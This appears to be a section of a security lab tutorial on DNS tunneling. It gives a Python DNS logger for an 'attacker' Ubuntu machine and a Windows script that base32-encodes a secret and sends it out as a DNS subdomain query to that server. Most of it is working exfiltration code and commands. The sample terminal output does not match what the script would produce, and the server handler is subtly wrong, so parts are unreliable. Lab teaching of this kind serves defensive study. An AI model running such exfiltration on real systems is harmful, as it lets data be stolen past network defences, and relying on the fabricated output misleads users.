**4. DNS Tunneling**

Attacker: Ubuntu machine (running DNS server to capture exfiltrated data)

Victim: Windows machine (sends encoded data using DNS queries)

Data Exfiltration via DNS Subdomain from Windows → Ubuntu

[Windows VM]

|

| DNS Query with Encoded Data

V

[Ubuntu VM (DNS server)]

|

| Capture Query & Decode Subdomain

V

[Data Reconstructed]

Set Up DNS Server on Ubuntu (Attacker)

Step 1: Install dnslib

sudo apt update

pip install dnslib

Step 2: Python DNS Logger Script

Save this as dns\_server.py:

from dnslib.server import DNSServer, DNSLogger

from dnslib import DNSRecord

import datetime

class DNSCaptureHandler:

def resolve(self, request, handler):

qname = str(request.q.qname)

now = datetime.datetime.now().strftime("%H:%M:%S")

print(f"[{now}] DNS Query Received: {qname}")

return DNSRecord.question(qname)

if \_\_name\_\_ == "\_\_main\_\_":

resolver = DNSCaptureHandler()

logger = DNSLogger(log="request")

server = DNSServer(resolver, port=53, address="0.0.0.0", logger=logger)

print("[\*] DNS Server running on port 53...")

server.start()

Step 3: Run the DNS Server

sudo python3 dns\_server.py

Simulate Exfiltration from Windows (Victim)

Step 1: Install Python on Windows

Use [python.org](https://www.python.org/downloads/windows/), and add Python to PATH.

pip install dnspython

Step 2: Exfiltration Script (Windows)

import dns.resolver

import base64

# Data to exfiltrate

data = "SecretMessage123"

encoded = base64.b32encode(data.encode()).decode().strip('=')

# Chunk the data if needed

domain = f"{encoded.lower ()}.exfil.lab"

# Set the attacker's (Ubuntu) DNS server IP

resolver = dns.resolver.Resolver()

resolver.nameservers = ['192.168.1.100'] # <-- Replace with Ubuntu machine IP

try:

resolver.resolve(domain, 'A')

print(f"Sent DNS Query: {domain}")

except Exception as e:

print(f"Query Failed: {e}")

Save it as exfiltrate.py and run from CMD or PowerShell:

python exfiltrate.py

What You Should See on Ubuntu Terminal:

[\*] DNS Server running on port 53...

[13:21:42] DNS Query Received: knfwk3dfmqqgk===.exfil.lab.

You can decode it:

echo 'KNFWK3DFMQQGK===' | base32 -d